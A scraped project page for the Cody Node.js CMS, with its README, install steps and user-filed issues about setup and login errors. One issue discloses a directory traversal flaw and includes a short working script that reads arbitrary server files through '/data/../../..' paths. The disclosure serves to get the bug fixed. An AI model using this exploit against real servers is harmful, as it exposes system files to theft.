Git Product home page Git Product logo

cody's Introduction

Cody CMS

A Javascript Content Management System running on Node.js

We finally took upon the task, we are happy to announce the transition to Express 4 is now done! (dixit Slawo)

See http://www.cody-cms.org for more info and examples on http://github.com/jcoppieters/cody-samples

You can now use npm to install Cody thanks to Jonas.

Features

  • Node.js CMS
  • Easy-to-use graphical interface + wysiwyg (what you see is what you get) editor that allows non-programmers to manage the site's content, users, files, forms and images.
  • Tree structured GUI to manage the structure of the site and the editable content by using templates and drag-and-drop.
  • Works seamless with your existing node.js code.

Getting Started

By following these steps you will be running your own CMS system in no time. If any of the steps do not work for you, please report this as an issue on this github repository and we will look into it as soon as possible!

  • Install nodejs and mysql

  • Create a new directory for your cms and navigate to it (in unix):

      $ mkdir codydev
      $ cd codydev
  • Install cody and its dependencies

      $ npm install cody
  • Set up a new web site using the guided scaffolding

      $ node ./node_modules/cody/bin/create_site
      
      Creating cody web tree in current directory
      1) Enter sitename: mysite
      Note: also using my site as database name.
      Note: by default the mysql root user has no password so you can just hit enter, if you forgot the root password see http://dev.mysql.com/doc/refman/5.0/en/resetting-permissions.html
      2) Enter root password for mysql so we can create a new database and user: 
      3) Enter site database user: mysitename
      4) Enter site database password: mysitepassword
      5) Enter hostname for site: mysite.local (or localhost)
      Site mysite has been prepared.
      
      Please create DNS entries, or add to /etc/hosts:
      127.0.0.1     mysite.local
      
      Also check index.js and config.json to fine-tune extra parameters, encryption key, ...
      
      Start your site using:
      forever start mysite.js
      or
      node mysite.js
  • Add a DNS entry for given hostname, e.g.

      $ sudo bash -c 'echo 127.0.0.1 mysite.local >> /etc/hosts'
  • Run the server

      $ node mysite.js

    or if you want to automatically restart the server on changes

      $ forever start mysite.js
  • Go to "http://mysite.local:3001" to see your current site and go to "http://mysite.local:3001/en/dashboard" to see the CMS of the site.

    the default users are: 'super', 'admin', 'test' and 'user' which all have password 'empty' you can ofcourse use "http://localhost:3001" too.

Configuration

The create_site scaffolding creates a config.json file in the root of your project directory. This configuration can be adjust in the following three ways, listed in order of overwriting order (e.g. values of 2 will overwrite those of 1, etc.):

  1. Manually adjust the values in the config.json file
  2. Create your own config file and supply it at command-line with the -c option (since v3.2.5, thanks to andretw)
$ node index.js -c my_overwriting_config.json
  1. Provide environment variables
$ dbuser=dbuser dbpassword=dbpassword port=8080 node index.js

Careful, all three cases need a server restart before they take effect! Have a look at the generated config.json file to see which configuration variables you can use.

Troubleshooting

I get "ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2)" when running the scaffold script

Your mysql server is not started.

  • On Mac OS: go to "System Preferences" -> "Mysql" -> "Start"
  • On any unix machine: $ mysqld &
After "5) Enter hostname for site" it prompts for "Enter password:"

You entered the incorrect password for your root user of the mysql database.

Try to figure out the correct password or reset it: http://dev.mysql.com/doc/refman/5.0/en/resetting-permissions.html

Contributors

  • Johan Coppieters

  • Jonas Maes

  • Tim Coppieters

  • Dieter

  • Laurens

  • Jelle

  • devoidfury

  • Andretw

  • You? We are always happy to review and accept your issues/pull requests!

License

Copyright (c) 2012-2015 Johan Coppieters, Howest Brugge. See the LICENSE.md file for license rights and limitations. This project is licensed under the terms of the MIT license.

Johan Coppieters, Jonas Maes, Howest Brugge - Tim Coppieters, VUB.

cody's People

Contributors

andretw avatar dieterbeelaert avatar jcoppieters avatar jonashowest avatar linksgo2011 avatar ticup avatar timgates42 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

cody's Issues

NodeMailer

you should add "nodemailer" to package.json

Access Denied Error

This is the error that I am receiving:

{ [Error: ER_ACCESS_DENIED_ERROR: Access denied for user 'root'@'localhost' (using password: YES)]
code: 'ER_ACCESS_DENIED_ERROR',
errno: 1045,
sqlState: '28000',
fatal: true }
{ [Error: Cannot enqueue Query after fatal error.] code: 'PROTOCOL_ENQUEUE_AFTER_FATAL_ERROR', fatal: false }
{ [Error: Cannot enqueue Query after fatal error.] code: 'PROTOCOL_ENQUEUE_AFTER_FATAL_ERROR', fatal: false }

fs.js:654
return binding.readdir(pathModule._makeLong(path));
^
Error: ENOENT, no such file or directory '/Users/bradenpowers/Development/web/cody/node_modules/cody/doc/empty'
at Object.fs.readdirSync (fs.js:654:18)
at Query._callback (/Users/bradenpowers/node_modules/cody/bin/create_site.js:105:20)
at Query.Sequence.end (/Users/bradenpowers/node_modules/cody/node_modules/mysql/lib/protocol/sequences/Sequence.js:96:24)
at Protocol._validateEnqueue (/Users/bradenpowers/node_modules/cody/node_modules/mysql/lib/protocol/Protocol.js:218:6)
at Protocol._enqueue (/Users/bradenpowers/node_modules/cody/node_modules/mysql/lib/protocol/Protocol.js:129:13)
at Connection.query (/Users/bradenpowers/node_modules/cody/node_modules/mysql/lib/Connection.js:185:25)
at Query._callback (/Users/bradenpowers/node_modules/cody/bin/create_site.js:93:19)
at Query.Sequence.end (/Users/bradenpowers/node_modules/cody/node_modules/mysql

My password for the root user is correct and mysql services are running because I can connect.

Cannot GET /

Hi there,

After installing everything, I get to my 'localhost:3001' and get Cannot GET /

How can I debug it?
Thanks

Install instructions "npm install

Install cody and its dependencies

$ npm install cody
$ npm install

But while doing this it complains I don't have a package.json. which is true, I don't have one in "mysite dir" only in the modules dir

When the user password is empty, this can lead to wrong password

In the Application.js file

this.dbuser = config.dbuser || "cody";
this.dbpassword = config.dbpassword || "ydoc"; // When the user password is empty, this can lead to wrong password
this.dbhost = config.dbhost || "localhost";
this.db = config.db || "cody";
this.smtp = config.smtp || "smtp.telenet.be";
this.smtpoptions = config.smtpoptions; // see https://github.com/andris9/Nodemailer
this.mailFrom = config.mailFrom || "[email protected]";

TypeError: Cannot read property 'length' of undefined

when:
$run node mynode/index.js

i have a error like this:
TypeError: Cannot read property 'length' of undefined
at /Users/hawk/Documents/Node/node_modules/cody/apps/Application.js:431:63
at Query._callback (/Users/hawk/Documents/Node/node_modules/cody/models/Page.js:58:5)
at Query.Sequence.end (/Users/hawk/Documents/Node/node_modules/cody/node_modules/mysql/lib/protocol/sequences/Sequence.js:78:24)
at /Users/hawk/Documents/Node/node_modules/cody/node_modules/mysql/lib/protocol/Protocol.js:294:16
at Array.forEach (native)
at Protocol._delegateError (/Users/hawk/Documents/Node/node_modules/cody/node_modules/mysql/lib/protocol/Protocol.js:293:17)
at Handshake. (/Users/hawk/Documents/Node/node_modules/cody/node_modules/mysql/lib/protocol/Protocol.js:118:12)
at Handshake.EventEmitter.emit (events.js:95:17)
at Handshake.Sequence.end (/Users/hawk/Documents/Node/node_modules/cody/node_modules/mysql/lib/protocol/sequences/Sequence.js:73:12)
at Handshake.ErrorPacket (/Users/hawk/Documents/Node/node_modules/cody/node_modules/mysql/lib/protocol/sequences/Handshake.js:93:8)
what can i do?

License?

Is Cody available under a particular open source license? I have been looking for information about this on both your website and this GitHub repository but have been unable to find licensing information.

Cody is fully open source. You can copy it, read the code, modify it, use it however you want. There is no fee, licence price.

The above from your website homepage is the closest I could find as a sort of custom license, however that simply isn't good enough for my purposes. If Cody is already licensed under a particular open source license you may want to make it more obvious (such as adding it to the README.md and/or adding a license file in the root project directory) otherwise you may want to look into the common open source licenses and consider using one of them. Unfortunately a small blurb appearing solely on your website rather than in the project repository and therefore which could simply disappear at any time isn't going to be good enough for my purposes so I am forced to pass on Cody for now.

how to contribute ?

Please add a CONTRIBUTING.md documention, for sending pull request to cody CMS

where to set/change the default mysql port

There is no mysql port setting when run the create_site script, could not connect to db because the port is wrong. And could do nothing with the script if has no root access.

Unable to login

Hi guys,
I am trying Cody for a small personal project.
I am able to run the website, but unable to login in the dashboard
I am using the same user and password (codydev2) I put on the site creation, but I got login-failed

2) Enter root password for mysql so we can create a new database and user: root

3) Enter site database user: codydev2

4) Enter site database password: codydev2

5) Enter hostname for site: localhost

6) Enter a location for storing documents: /mysql

What could be the reason?

How to Deploy ? :)

Hi,

I am trying to get the CMS deployed with no luck so far :)

It seems the steps here are out dated ? http://www.cody-cms.org/en/install

  1. when I follow npm steps, i won't find a folder with name 'mysite' generated. should it be generated ?
  2. when I follow install from source code, It asks to import setup.sql but I cannot find it.

Please kindly help :)

Cannot enqueue Query after fatal error

Hi, I keep getting this error when I try to login. Everything worked fine before.

More details about the error stack:

servePage - params ->
{ request: 'login', username: 'admin', password: 'empty' }
servePage - session ->
{ cookie:
{ path: '/',
_expires: Thu Nov 27 2014 02:36:36 GMT+0000 (UTC),
originalMaxAge: 3600000,
httpOnly: true },
login: undefined }
servePage - files ->
handToController -> LoginController
LoginController.constructor -> page(2) = Login, request = login
Controller.constructor -> page(2) = Login, request = login
Application.getConnection -> Returning existing connection
{ [Error: Cannot enqueue Query after fatal error.] code: 'PROTOCOL_ENQUEUE_AFTER_FATAL_ERROR', fatal: false }
Error: User.getUser failed with sql errors
at Query._callback (/home/apps/apps/mycms/node_modules/cody/models/User.js:78:46)
at Query.Sequence.end (/home/apps/apps/mycms/node_modules/cody/node_modules/mysql/lib/protocol/sequences/Sequence.js:96:24)
at Protocol._validateEnqueue (/home/apps/apps/mycms/node_modules/cody/node_modules/mysql/lib/protocol/Protocol.js:218:6)
at Protocol._enqueue (/home/apps/apps/mycms/node_modules/cody/node_modules/mysql/lib/protocol/Protocol.js:129:13)
at Connection.query (/home/apps/apps/mycms/node_modules/cody/node_modules/mysql/lib/Connection.js:185:25)
at Controller.query (/home/apps/apps/mycms/node_modules/cody/controllers/Controller.js:385:19)
at Function.User.getUser (/home/apps/apps/mycms/node_modules/cody/models/User.js:77:16)
at Controller.LoginController.tryLogin (/home/apps/apps/mycms/node_modules/cody/controllers/LoginController.js:90:13)
at Controller.LoginController.doRequest (/home/apps/apps/mycms/node_modules/cody/controllers/LoginController.js:50:10)

at Application.handToController (/home/apps/apps/mycms/node_modules/cody/apps/Application.js:305:14)

Any idea what may be the problem?

the problem of footer html render

I am learning to use cody cms. In the management interface, footer.first use the default settings.
as shown in Figure
default

visit the website, the render page footer display:
default

Is this correct? Why not a hyperlink

sqlite support

Hi all, can you add sqlite support in cody cms?
Thanks
LP

Sites down

Hi guys, just a heads up your main site is down and the Apache Default page is exposed.

New install fails to load

I am testing Cody and install went smothless.

Now I have a problem. I have started node with forever and in the web page I get error.

Cody looks for the files in /mysite/mysite/ for some unknown reason.

Error: Failed to lookup view "/home/ulf/Dokument/mysite/mysite/views/index.ejs" in views directory "/home/ulf/Dokument/mysite/views"
at EventEmitter.app.render (/home/ulf/Dokument/mysite/node_modules/cody/node_modules/express/lib/application.js:555:17)
at ServerResponse.res.render (/home/ulf/Dokument/mysite/node_modules/cody/node_modules/express/lib/response.js:938:7)
at Application.renderView (/home/ulf/Dokument/mysite/node_modules/cody/apps/Application.js:354:15)
at /home/ulf/Dokument/mysite/node_modules/cody/apps/Application.js:325:12
at Controller.doRequest (/home/ulf/Dokument/mysite/node_modules/cody/controllers/Controller.js:49:5)
at Application.handToController (/home/ulf/Dokument/mysite/node_modules/cody/apps/Application.js:308:14)
at Application.servePage (/home/ulf/Dokument/mysite/node_modules/cody/apps/Application.js:249:10)
at /home/ulf/Dokument/mysite/node_modules/cody/startWebApp.js:40:15
at Layer.handle as handle_request
at next (/home/ulf/Dokument/mysite/node_modules/cody/node_modules/express/lib/router/route.js:110:13)

Unable to install new site

Getting this when following the installation guid:
mkdir /Users/Micke/Projects/codysites/codyTest/controllers
mkdir /Users/Micke/Projects/codysites/codyTest/locales
mkdir /Users/Micke/Projects/codysites/codyTest/static
mkdir /Users/Micke/Projects/codysites/codyTest/static/css
mkdir /Users/Micke/Projects/codysites/codyTest/static/images
mkdir /Users/Micke/Projects/codysites/codyTest/static/js
mkdir /Users/Micke/Projects/codysites/codyTest/views
/Users/Micke/Projects/codysites/node_modules/cody/node_modules/mysql/lib/protocol/Parser.js:82
throw err;
^
Error: ER_INVALID_DEFAULT: Invalid default value for 'created'
at Query.Sequence._packetToError (/Users/Micke/Projects/codysites/node_modules/cody/node_modules/mysql/lib/protocol/sequences/Sequence.js:48:14)
at Query.ErrorPacket (/Users/Micke/Projects/codysites/node_modules/cody/node_modules/mysql/lib/protocol/sequences/Query.js:83:18)
at Protocol._parsePacket (/Users/Micke/Projects/codysites/node_modules/cody/node_modules/mysql/lib/protocol/Protocol.js:274:23)
at Parser.write (/Users/Micke/Projects/codysites/node_modules/cody/node_modules/mysql/lib/protocol/Parser.js:77:12)
at Protocol.write (/Users/Micke/Projects/codysites/node_modules/cody/node_modules/mysql/lib/protocol/Protocol.js:39:16)
at Socket. (/Users/Micke/Projects/codysites/node_modules/cody/node_modules/mysql/lib/Connection.js:96:28)
at Socket.emit (events.js:107:17)
at readableAddChunk (_stream_readable.js:163:16)
at Socket.Readable.push (_stream_readable.js:126:10)
at TCP.onread (net.js:538:20)
--------------------
at Protocol._enqueue (/Users/Micke/Projects/codysites/node_modules/cody/node_modules/mysql/lib/protocol/Protocol.js:135:48)
at Connection.query (/Users/Micke/Projects/codysites/node_modules/cody/node_modules/mysql/lib/Connection.js:201:25)
at /Users/Micke/Projects/codysites/node_modules/cody/bin/create_site.js:130:27
at fs.js:334:14
at FSReqWrap.oncomplete (fs.js:95:15)

Proofing your About page on Cody.com

Proofread your About Page:

Cody is a platform created to build websites and web applications. It is multi-lingual from the ground up. (We Belgians have 3 offical languages in a country of only 10 million people!)

It is aimed at 2 target audiences: web masters and web developers.

The developers are interested because Cody is written in a modern language--JavaScript. JavaScript is a very powerful Object-Oriented language, used by Google, Microsoft and Apple to build their latest apps and servlets. It's also built on top of a modern and ultra fast webserver--Node.js. Freed from aging PHP, this ecosystem is embraced by lots of developers, even Wordpress founders have rebuilt their newest blogging platform using exactly these technologies--Node.js and JavaScript.

Web developers can easily change their (rich) content, include images and files, or add pages and subpages. It comes with a library where they can upload images and files to be used on their site. And last but not least there is a multi-language form-builder with client and server-side input validation.

Of course, Cody is built to be extendable. Developers knowing JavaScript can add their own Views, Content types, Controllers, and when needed, Models. They can build complete webapps using the same language for server and client-side programming. The resulting applications can be deployed on their own servers or hosted in the cloud.

Cody is also built for speed. Normal webpages are served without any disk IO, database access, or reading of HTML/CSS/Image files. Static file content is cached, and although there is a SQL backing store for all content and structure, most of it is read into memory at startup. Only while working in the Back-office is there any database interaction.

INDEX SUPPORT

HI GUYS,

I tried 2 start the index.js, However, when I go to "mysite.local:3001", it showed this error:
Error: Failed to lookup view "/Users/WorkBitch/mycms/mysite/views/index.ejs" in views directory "/Users/WorkBitch/mycms/views"
at EventEmitter.app.render (/Users/WorkBitch/mycms/node_modules/cody/node_modules/express/lib/application.js:555:17)
at ServerResponse.res.render (/Users/WorkBitch/mycms/node_modules/cody/node_modules/express/lib/response.js:938:7)
at Application.renderView (/Users/WorkBitch/mycms/node_modules/cody/apps/Application.js:354:15)
at /Users/WorkBitch/mycms/node_modules/cody/apps/Application.js:325:12
at Controller.doRequest (/Users/WorkBitch/mycms/node_modules/cody/controllers/Controller.js:49:5)
at Application.handToController (/Users/WorkBitch/mycms/node_modules/cody/apps/Application.js:308:14)
at Application.servePage (/Users/WorkBitch/mycms/node_modules/cody/apps/Application.js:249:10)
at /Users/WorkBitch/mycms/node_modules/cody/startWebApp.js:40:15
at Layer.handle as handle_request
at next (/Users/WorkBitch/mycms/node_modules/cody/node_modules/express/lib/router/route.js:110:13)

Can anyone help me with this? THX

Error: User.getUser failed with sql errors

This is the second time I have this error. It seems to happen after a while. Under development I am using forever with no time settings. So maybe something has stopped running. The front-end is still working.

If I restart forever the problem is solved.

Error: User.getUser failed with sql errors
at Query._callback (/home/billgates/Dokument/ipro5/node_modules/cody/models/User.js:78:46)
at Query.Sequence.end (/home/billgates/Dokument/ipro5/node_modules/cody/node_modules/mysql/lib/protocol/sequences/Sequence.js:96:24)
at Protocol._validateEnqueue (/home/billgates/Dokument/ipro5/node_modules/cody/node_modules/mysql/lib/protocol/Protocol.js:218:6)
at Protocol._enqueue (/home/billgates/Dokument/ipro5/node_modules/cody/node_modules/mysql/lib/protocol/Protocol.js:129:13)
at Connection.query (/home/billgates/Dokument/ipro5/node_modules/cody/node_modules/mysql/lib/Connection.js:185:25)
at Controller.query (/home/billgates/Dokument/ipro5/node_modules/cody/controllers/Controller.js:404:19)
at Function.User.getUser (/home/billgates/Dokument/ipro5/node_modules/cody/models/User.js:77:16)
at Controller.LoginController.tryLogin (/home/billgates/Dokument/ipro5/node_modules/cody/controllers/LoginController.js:90:13)
at Controller.LoginController.doRequest (/home/billgates/Dokument/ipro5/node_modules/cody/controllers/LoginController.js:50:10)
at Application.handToController (/home/billgates/Dokument/ipro5/node_modules/cody/apps/Application.js:308:14)

The server closed connection

Hi there.

So... I got to test cody and althou I can walk around for a time, this error allways happens and closes server:

<addr>
events.js:85
throw er; // Unhandled 'error' event
^
Error: Connection lost: The server closed the connection.
at Protocol.end (/home/admin/nodejs/codydev/node_modules/cody/node_modules/mysql/lib/protocol/Protocol.js:103:13)
at Socket. (/home/admin/nodejs/codydev/node_modules/cody/node_modules/mysql/lib/Connection.js:102:28)
at Socket.emit (events.js:129:20)
at _stream_readable.js:908:16
at process._tickCallback (node.js:355:11)
<addr>

I try to use 'node application.js' all fine until it breaks. Since I'm new to this software, perhaps you guys know better what's happening and can help me out understanting what's the problem?

Thanks in advance

Use template-literal instead of EJS

Template Literal is fastest, smallest and simplest template engine, because it use JS's literal template feature.

It's 55 times faster than EJS, and it also use less CPU and RAM ressources, so it may be a good idea to use it instead of EJS 😀

User roles

Hi,
I was wondering if it would be possible to have user roles in this?
And do I need to use mysql? Do you have a gateway for this?

Unable to login with default accounts

Hi, I've managed to set up my site with cody fully, and launched it locally:

image

However, when I tried to login using default users as suggested

the default users are: 'super', 'admin', 'test' and 'user' which all have password 'empty'. I tried to type in 'empty' word and leave the password blank for all the default users, but to no avail

all gave me login error:

image

How may I proceed?

Forgot password

Add it to UserController.

But first get the flow right:
(any one has better idea's?)

  • In the login page, have a "tab" with "forget password"
  • accept email address,
  • look it up in the userlist,
  • generate (and save in user table) a url with a long random string + timestamp,
  • send it by email,
  • have a form to enter the new password,
  • check the random string against the user record + check if timestamp is not older than 1 day
  • change the password
  • log in

error during Installation on CentOS7/virtualbox5.26

Hi all,
Host=CentOS7.3
Guest=CentOS7.3/nodev8@latest/npm5.3.0/mariadb@latest

I would like to give a try to cody since it seems to be a nice CMS based on Node.JS.
I have followed the documentation as the github instructions for installation.
I have read the READM.md file
But I can't obtain a fmjconsulting.js file to use the node command.
Here the last details :
as root

cd /var/www
mkdir codydev && cd codydev
npm install cody
node ./node_modules/cody/bin/create_site

Answer all the questions ...

6) Enter a location for storing documents: /var/www/codydev/data

mkdir /var/www/codydev/fmjconsulting/controllers
mkdir /var/www/codydev/fmjconsulting/locales
mkdir /var/www/codydev/fmjconsulting/static
mkdir /var/www/codydev/fmjconsulting/static/css
mkdir /var/www/codydev/fmjconsulting/static/images
mkdir /var/www/codydev/fmjconsulting/static/js
mkdir /var/www/codydev/fmjconsulting/views
created /var/www/codydev/data/fmjconsulting/
created /var/www/codydev/data/fmjconsulting/images
created /var/www/codydev/data/fmjconsulting/files
---
Site 'fmjconsulting' has been prepared.

Please create DNS entries, or add to /etc/hosts:
127.0.0.1     localhost
Also check index.js and config.json to fine-tune extra parameters, encryption key, ...
---
Start your site using:
$ forever start fmjconsulting.js
    or
$ node fmjconsulting.js
-
surf to http://localhost:3001
    or manage your site at
http://localhost:3001/en/dashboard
events.js:182
      throw er; // Unhandled 'error' event
      ^

Error: ENOENT: no such file or directory, open '/var/www/codydev/fmjconsulting/index.js'
[root@localhost codydev]# ll
total 32
drwxrwxrwx.  3 root root    27 18 août  17:47 data
drwxr-xr-x.  6 root root   103 18 août  17:47 fmjconsulting
-rw-r--r--.  1 root root     0 18 août  17:47 fmjconsulting.js
drwxr-xr-x. 88 root root  4096 18 août  17:45 node_modules
-rw-r--r--.  1 root root 25486 18 août  17:45 package-lock.json

Is someone could explain me what I'm doing wrong here?

Thanks,

cant install - licence error

hi

apologies if I am missing something the install instructions did not work for me on windows 10

had to clone from git then ....

D:\mc\codydev\cody>npm install
npm WARN EPACKAGEJSON [email protected] No license field.

any ideas ?

Readme.md introduction

The introduction in the readme.md is not encouraging.

You should rather announce the transition to Express 4 with more enthusiasm, or just drop a phrase, but please don't apologise for your effort! We thank you for it. Go with something more appropriate, like:

We finally took upon the task, he are happy to annonce the transition to Express 4 is now done!

:)

Do not create controllers

Error: ENOENT, no such file or directory 'd:\workspace\codydev\mysite\controller
s'
at Error (native)
at Object.fs.readdirSync (fs.js:761:18)
at Object. (d:\workspace\codydev\mysite.js:50:16)
at Module._compile (module.js:460:26)
at Object.Module._extensions..js (module.js:478:10)
at Module.load (module.js:355:32)
at Function.Module._load (module.js:310:12)
at Function.Module.runMain (module.js:501:10)
at startup (node.js:129:16)
at node.js:814:3

Force project naming to comply with MySQL DB naming schema, or convert it

I decided to test Cody and when asked for a project name I used "codeCms Test" then I got an error on DB creation because you cannot have spaces in MySQL DB names.

This is the relevant output from create_site run:

6) Enter a location for storing documents: doc

{ [Error: ER_PARSE_ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'Test default charset utf8' at line 1]
  code: 'ER_PARSE_ERROR',
  errno: 1064,
  sqlState: '42000',
  index: 0 }
{ [Error: ER_NO_DB_ERROR: No database selected]
  code: 'ER_NO_DB_ERROR',
  errno: 1046,
  sqlState: '3D000',
  index: 0 }
{ [Error: ER_NO_DB_ERROR: No database selected]
  code: 'ER_NO_DB_ERROR',
  errno: 1046,
  sqlState: '3D000',
  index: 0 }
mkdir /home/conan/csoft/test/codycms/codyCms Test/controllers
mkdir /home/conan/csoft/test/codycms/codyCms Test/static
mkdir /home/conan/csoft/test/codycms/codyCms Test/static/css
mkdir /home/conan/csoft/test/codycms/codyCms Test/static/images
mkdir /home/conan/csoft/test/codycms/codyCms Test/static/js
mkdir /home/conan/csoft/test/codycms/codyCms Test/views
/home/conan/csoft/test/codycms/node_modules/cody/bin/create_site.js:131
                        if (err) throw err;
                                       ^
Error: ER_BAD_DB_ERROR: Unknown database 'codyCms Test'

The fix is simple, but you have two options: force appropriate project naming, like npm init does, or let the creator to use any name but convert it so wherever it's used, it has the correct syntax.

I'm inclined for the first option, but it's up to you.

Missing Cache Control Headers

The lack of cache control headers on the main background image is causing Chrome to reload that image on every page.

Unable to create a new site

I was following the guidelines from here: http://cody-cms.org/en/install
Each time am trying to use create_site.js I am getting this error in the last step:

Creating project in  /Users/newscred/projects/personal/portfolio-ideations/portfolio-cody/

1) Enter projectname: pfoliocms
Note: also using pfoliocms as database name.
Note: by default the mysql root user has no password so you can just hit enter, if you forgot the root password http://dev.mysql.com/doc/refman/5.0/en/resetting-permissions.html

2) Enter root password for mysql so we can create a new database and user:

3) Enter site database user: admin

4) Enter site database password: mypassword

5) Enter hostname for site: pfoliocms.local

6) Enter a location for storing documents: ../../../../codydata

/Users/newscred/node_modules/cody/node_modules/mysql/lib/protocol/Parser.js:77
        throw err; // Rethrow non-MySQL errors
        ^

Error: ENOENT: no such file or directory, scandir '/Users/newscred/projects/personal/portfolio-ideations/portfolio-cody/node_modules/cody/doc/empty'
    at Error (native)
    at Object.fs.readdirSync (fs.js:808:18)
    at Query._callback (/Users/newscred/node_modules/cody/bin/create_site.js:123:24)
    at Query.Sequence.end (/Users/newscred/node_modules/cody/node_modules/mysql/lib/protocol/sequences/Sequence.js:96:24)
    at Query._handleFinalResultPacket (/Users/newscred/node_modules/cody/node_modules/mysql/lib/protocol/sequences/Query.js:144:8)
    at Query.OkPacket (/Users/newscred/node_modules/cody/node_modules/mysql/lib/protocol/sequences/Query.js:78:10)
    at Protocol._parsePacket (/Users/newscred/node_modules/cody/node_modules/mysql/lib/protocol/Protocol.js:280:23)
    at Parser.write (/Users/newscred/node_modules/cody/node_modules/mysql/lib/protocol/Parser.js:73:12)
    at Protocol.write (/Users/newscred/node_modules/cody/node_modules/mysql/lib/protocol/Protocol.js:39:16)
    at Socket.<anonymous> (/Users/newscred/node_modules/cody/node_modules/mysql/lib/Connection.js:96:28)

Any idea?

How to setup. I am stuck here

Guys, I installed cody with npm install..

when I try to do "Set up a new web site using the guided scaffolding" this step basically I am new and not sure what this step is and what it is supposed to do...

When I tried to open up the ccs file it disappears immediately... and if I try to open it with my command prompt.. i am unsuccessful as well...

image

but i could see the configuration file inside cody/bin/ccs which has all the steps shown here.. but I am not sure how to invoke this as a step process..

also do we need to install mysql in this location? a folder structure and a detailed installation step might help very novice people like me..

Thanks a lot...

Directory traversal attack

The 'Dynamic' asset loader isn't jailed to the defined data directory, so it can and will serve any file on the system as long as:

  1. the malicious user knows the path to the file they want. Many common files, especially those found in /etc, can lead to further exploits by exposing other vulnerabilities on the system.

  2. the server system user running node has read permissions on the file (and a lot of people run node as root, sadly).

  3. a request method that does not resolve paths automatically, like a browser or curl do. This is as simple as running a script from a remote machine

Example remote exploit script:

var http = require("http");
var request = http.request({
 hostname: "localhost",
 port: 80,
 path: "/data/../../../../../any/path/on/server",
 method: "GET",
 headers: {Accept: "text/html"}
}, function(response) {
 var str = '';
 response.on('data', function (chunk) { str += chunk; });
 response.on('error', console.log);
 response.on('end', function () { console.log(str); });
});
request.end();

The other file serving routes should be tested for this vulnerability as well.

Johan

Johan, You will be develops your product - Cody?
Cody - it's very good CMS, but abandoned...

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.